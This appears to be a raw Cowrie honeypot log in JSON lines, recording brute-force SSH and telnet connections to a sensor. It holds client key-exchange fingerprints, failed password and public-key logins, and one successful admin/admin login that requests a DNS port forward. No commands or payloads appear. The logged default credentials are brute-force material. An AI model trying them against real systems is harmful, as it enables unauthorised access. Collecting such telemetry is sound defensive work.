{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:54:09.264282Z","src_ip":"80.94.92.184","session":"454952cf1147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:54:10.981571Z","src_ip":"80.94.92.184","session":"454952cf1147","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:54:12.125075Z","src_ip":"80.94.92.184","session":"454952cf1147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":45338,"dst_ip":"10.17.0.5","dst_port":22,"session":"36c500f7cc56","protocol":"ssh","message":"New connection: 87.251.64.176:45338 (10.17.0.5:22) [session: 36c500f7cc56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:54:26.674848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:54:26.680483Z","src_ip":"87.251.64.176","session":"36c500f7cc56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:54:26.773779Z","src_ip":"87.251.64.176","session":"36c500f7cc56","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:54:27.057274Z","src_ip":"87.251.64.176","session":"36c500f7cc56","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:54:27.153504Z","session":"36c500f7cc56","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:54:27.248874Z","src_ip":"87.251.64.176","session":"36c500f7cc56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:54:27.345590Z","src_ip":"87.251.64.176","session":"36c500f7cc56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":39008,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3e914268541","protocol":"ssh","message":"New connection: 103.153.68.219:39008 (159.203.135.109:22) [session: c3e914268541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:55:18.277508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:55:18.282110Z","src_ip":"103.153.68.219","session":"c3e914268541","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:55:18.535179Z","src_ip":"103.153.68.219","session":"c3e914268541","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bubun1","message":"login attempt [root/bubun1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:55:19.299763Z","src_ip":"103.153.68.219","session":"c3e914268541","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:55:20.555670Z","src_ip":"103.153.68.219","session":"c3e914268541","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.110","src_port":59857,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9989957122c","protocol":"ssh","message":"New connection: 45.79.207.110:59857 (10.17.0.5:22) [session: a9989957122c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:55:33.032038Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.119.22","src_port":44720,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2e7f96e5e85","protocol":"ssh","message":"New connection: 154.16.119.22:44720 (10.17.0.5:22) [session: e2e7f96e5e85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:55:39.504060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:55:39.508654Z","src_ip":"154.16.119.22","session":"e2e7f96e5e85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:55:39.541631Z","src_ip":"154.16.119.22","session":"e2e7f96e5e85","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:ac:53:38:41:8c:d9:eb:1a:3d:f6:4f:50:f9:3f:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYAVqIFMkE5DIwpCXNK48ZW29/BJJPUoe2xYp9r4pLH+xNr6w+3xgcq/kde4PErAkp6PDgwXb3nO6ZJU9BAYxmye6BwUh+K70GIqkHP0JyoJ/ph54+sEShSybKaERD2OumPY7KcyUpOPeZxqTjiOH5V2XKgxJJMsUBKKPhjkIOX+SIMk6kNR4yovVxQ1PeCl+99meRwRytaM17AqJoRCm+mNqrbjDKrnQ+kFFUMmKZBlo4aFElOmsocnyJCR1taTVF8huSQFoIX1TY2xOpSy1H4hKcKgHxwtczPl94PET7dH5mDYFC7vE9Hs50Yufl5LSkpOGCZfDXOkwLdoOu15J3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:ac:53:38:41:8c:d9:eb:1a:3d:f6:4f:50:f9:3f:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:55:39.658176Z","src_ip":"154.16.119.22","session":"e2e7f96e5e85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:ac:53:38:41:8c:d9:eb:1a:3d:f6:4f:50:f9:3f:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYAVqIFMkE5DIwpCXNK48ZW29/BJJPUoe2xYp9r4pLH+xNr6w+3xgcq/kde4PErAkp6PDgwXb3nO6ZJU9BAYxmye6BwUh+K70GIqkHP0JyoJ/ph54+sEShSybKaERD2OumPY7KcyUpOPeZxqTjiOH5V2XKgxJJMsUBKKPhjkIOX+SIMk6kNR4yovVxQ1PeCl+99meRwRytaM17AqJoRCm+mNqrbjDKrnQ+kFFUMmKZBlo4aFElOmsocnyJCR1taTVF8huSQFoIX1TY2xOpSy1H4hKcKgHxwtczPl94PET7dH5mDYFC7vE9Hs50Yufl5LSkpOGCZfDXOkwLdoOu15J3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:55:39.661330Z","src_ip":"154.16.119.22","session":"e2e7f96e5e85","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:b7:0a:36:14:fd:f7:c7:fe:48:0a:11:80:72:bf:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdR6RxufpGm0ybk3mIXXzzCcd5M5u43VxDchGMgMT5CXDvTzc+igMKoj4GqnyA2kde95fkRmys0dWpBcZMKYoiFJbfhmwrNSSxGQKUMgLfRklgWARRBM+exCs3gz0jKfiFe2wtST/nbwQuj9WWpOuLGiAM9uC6QtOq9EqgqT9nt49ci0E6ec2Z78Tvx8pNsTjmSS+iJY0145SmmsDkGdOYidJlr7nY0A4c3syVfZIbARBM72ZOGiToBICkW9we3vryf+PBiSlyVrLpa91dWczczX4uUkc0kfHKao+plU4R40XXxDpdc8Vyk+5RzAUPms8oe1lWXIzL7pDR/ujoF8kf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:b7:0a:36:14:fd:f7:c7:fe:48:0a:11:80:72:bf:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:55:39.691330Z","src_ip":"154.16.119.22","session":"e2e7f96e5e85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:b7:0a:36:14:fd:f7:c7:fe:48:0a:11:80:72:bf:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdR6RxufpGm0ybk3mIXXzzCcd5M5u43VxDchGMgMT5CXDvTzc+igMKoj4GqnyA2kde95fkRmys0dWpBcZMKYoiFJbfhmwrNSSxGQKUMgLfRklgWARRBM+exCs3gz0jKfiFe2wtST/nbwQuj9WWpOuLGiAM9uC6QtOq9EqgqT9nt49ci0E6ec2Z78Tvx8pNsTjmSS+iJY0145SmmsDkGdOYidJlr7nY0A4c3syVfZIbARBM72ZOGiToBICkW9we3vryf+PBiSlyVrLpa91dWczczX4uUkc0kfHKao+plU4R40XXxDpdc8Vyk+5RzAUPms8oe1lWXIzL7pDR/ujoF8kf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:55:39.694100Z","src_ip":"154.16.119.22","session":"e2e7f96e5e85","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:dc:5d:40:dd:6a:6e:56:c3:f8:c3:6c:a5:1c:4d:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyyTYM5olxHfHsoi2awCBbfGZHfSR1/kCKms4veCiQdwocevwrQRH4Lt3W1iZEVC7vTEYninBKArwO3et9ZQzODCMhNW4Eg5unq7/oOobMDxhyWOWvCS5sNOgCyM1/CdziKeZPig7AuUipaeERlkASxCDR3M1/vrKqSrhlH+hq6e1qIUeZGUt/KL4bhnsHUOKkzUJByF8VoW8YVPLQONZLQwEebaBopnEjBuFstmPrHZ3QWXG12yBb840JwwPMAHPWy6V/3oQhHzuHSyqqXUC4lTYRw5PqRmun6l/jSD8dd5OumGw8i3a5IJHGcIi+xyLrO2/hJKF2KiV8SOMOq3do7GzkCLGrhUyEvjq/QzkuPVUdi+23md7WF1J4RKxS5KRV31lF/Rc409XJQAdLik2V3GXSL5/jkI3PtwlGcx4EeRfxIoDu4pFPSCWRmSfYT4uoyXt5mLaOm8NMemsArJBJMtvEyY4ixyw9dN0ePnzFKc0BVZlPsOTXlUzAOw6L5vp3wlehN3IE6A2+aAjBY9PG6ylb/qBh1nDAaoegc1pct69SWpMOr+Vg1G81ezl4I3MKsjPYKLNy5OTGgGgPiRs3wwwUzREWb5KWydsAPXV0zl/8UPaGG5l4u4MQpCcLwOp8N/H4jfqKlwCsZad1U3g/e0WXT9LiqUOK9jDMbq8/HQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:dc:5d:40:dd:6a:6e:56:c3:f8:c3:6c:a5:1c:4d:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:55:39.721935Z","src_ip":"154.16.119.22","session":"e2e7f96e5e85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:dc:5d:40:dd:6a:6e:56:c3:f8:c3:6c:a5:1c:4d:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyyTYM5olxHfHsoi2awCBbfGZHfSR1/kCKms4veCiQdwocevwrQRH4Lt3W1iZEVC7vTEYninBKArwO3et9ZQzODCMhNW4Eg5unq7/oOobMDxhyWOWvCS5sNOgCyM1/CdziKeZPig7AuUipaeERlkASxCDR3M1/vrKqSrhlH+hq6e1qIUeZGUt/KL4bhnsHUOKkzUJByF8VoW8YVPLQONZLQwEebaBopnEjBuFstmPrHZ3QWXG12yBb840JwwPMAHPWy6V/3oQhHzuHSyqqXUC4lTYRw5PqRmun6l/jSD8dd5OumGw8i3a5IJHGcIi+xyLrO2/hJKF2KiV8SOMOq3do7GzkCLGrhUyEvjq/QzkuPVUdi+23md7WF1J4RKxS5KRV31lF/Rc409XJQAdLik2V3GXSL5/jkI3PtwlGcx4EeRfxIoDu4pFPSCWRmSfYT4uoyXt5mLaOm8NMemsArJBJMtvEyY4ixyw9dN0ePnzFKc0BVZlPsOTXlUzAOw6L5vp3wlehN3IE6A2+aAjBY9PG6ylb/qBh1nDAaoegc1pct69SWpMOr+Vg1G81ezl4I3MKsjPYKLNy5OTGgGgPiRs3wwwUzREWb5KWydsAPXV0zl/8UPaGG5l4u4MQpCcLwOp8N/H4jfqKlwCsZad1U3g/e0WXT9LiqUOK9jDMbq8/HQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:55:39.725744Z","src_ip":"154.16.119.22","session":"e2e7f96e5e85","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:57:13:96:dd:3f:a1:7e:b8:b0:4f:26:77:5f:05:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2IiaE4134fGyXmfTp5V0OcIRzMUwi119X/7NLquXXC2hfwaib+NzESgqs98E20IWiSidzvcC662VIaNmgBX1Xj8w07ESH2AgxFrO+CmL4/7u3e/5Fhf95xEBqXRRQjiUlW8hP//WS8PxUOl81sRYLfa2tWMfIa+d5XFjijaoHRRbzgtZGH6v1UnpqtMWii58CHZD3MwM7rb7rDDprFtwKEgiqme7WKX+TznZefcqXKmNo0QD9wog9sSwKBPmty4WYKBAyAYOdLKduF7EuTXl+7n413fVIfl3T38mPwoJ5Z6LKkT6Wc/VFVfNt5b378/cwxds9YFNq0K1Zxi9ZZMYyw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:57:13:96:dd:3f:a1:7e:b8:b0:4f:26:77:5f:05:05","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:55:39.753063Z","src_ip":"154.16.119.22","session":"e2e7f96e5e85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:57:13:96:dd:3f:a1:7e:b8:b0:4f:26:77:5f:05:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2IiaE4134fGyXmfTp5V0OcIRzMUwi119X/7NLquXXC2hfwaib+NzESgqs98E20IWiSidzvcC662VIaNmgBX1Xj8w07ESH2AgxFrO+CmL4/7u3e/5Fhf95xEBqXRRQjiUlW8hP//WS8PxUOl81sRYLfa2tWMfIa+d5XFjijaoHRRbzgtZGH6v1UnpqtMWii58CHZD3MwM7rb7rDDprFtwKEgiqme7WKX+TznZefcqXKmNo0QD9wog9sSwKBPmty4WYKBAyAYOdLKduF7EuTXl+7n413fVIfl3T38mPwoJ5Z6LKkT6Wc/VFVfNt5b378/cwxds9YFNq0K1Zxi9ZZMYyw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:55:39.755455Z","src_ip":"154.16.119.22","session":"e2e7f96e5e85","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:99:45:cc:8f:ff:1d:fc:7e:de:d1:3a:23:62:ee:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4lGr4oxpElg/0NqlbyW0fLcS2HLpo5noY41rfm1alnw2LRfbPIfA4r+vtd1WuI1WCJIWeXc9XAoP4Mu6LDyQ1WlBFo2J6EZqhkrrHIBKfXHJZKAJn5+oIA3oDDgLja288kSa7g2gUP4q7jzr8VR252mGpF/vSvKI43c9vUHcHHTnkITF81VvbYAAJQzFWBNl4MxylwiKKKABnHmBbY2LnJ1Tkn56ReL/75q/GG8Rr1mwlJjYHAzajSi+P2WmALRxAVTtVeKrXs1uJwfIUT0t2y+NAHpqhnJuI409lCoMGi+5i/A+BabWtQfOA3uO7IUCmhgvq5kBEYQfGrhFWfPn3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:99:45:cc:8f:ff:1d:fc:7e:de:d1:3a:23:62:ee:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:55:39.782488Z","src_ip":"154.16.119.22","session":"e2e7f96e5e85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:99:45:cc:8f:ff:1d:fc:7e:de:d1:3a:23:62:ee:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4lGr4oxpElg/0NqlbyW0fLcS2HLpo5noY41rfm1alnw2LRfbPIfA4r+vtd1WuI1WCJIWeXc9XAoP4Mu6LDyQ1WlBFo2J6EZqhkrrHIBKfXHJZKAJn5+oIA3oDDgLja288kSa7g2gUP4q7jzr8VR252mGpF/vSvKI43c9vUHcHHTnkITF81VvbYAAJQzFWBNl4MxylwiKKKABnHmBbY2LnJ1Tkn56ReL/75q/GG8Rr1mwlJjYHAzajSi+P2WmALRxAVTtVeKrXs1uJwfIUT0t2y+NAHpqhnJuI409lCoMGi+5i/A+BabWtQfOA3uO7IUCmhgvq5kBEYQfGrhFWfPn3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:55:39.785598Z","src_ip":"154.16.119.22","session":"e2e7f96e5e85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:55:39.814806Z","src_ip":"154.16.119.22","session":"e2e7f96e5e85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60652,"dst_ip":"159.203.135.109","dst_port":23,"session":"26aef7e922d3","protocol":"telnet","message":"New connection: 172.81.62.90:60652 (159.203.135.109:23) [session: 26aef7e922d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:55:54.700933Z"}
{"eventid":"cowrie.session.closed","duration":40.909220695495605,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:56:35.610016Z","src_ip":"172.81.62.90","session":"26aef7e922d3","protocol":"telnet"}
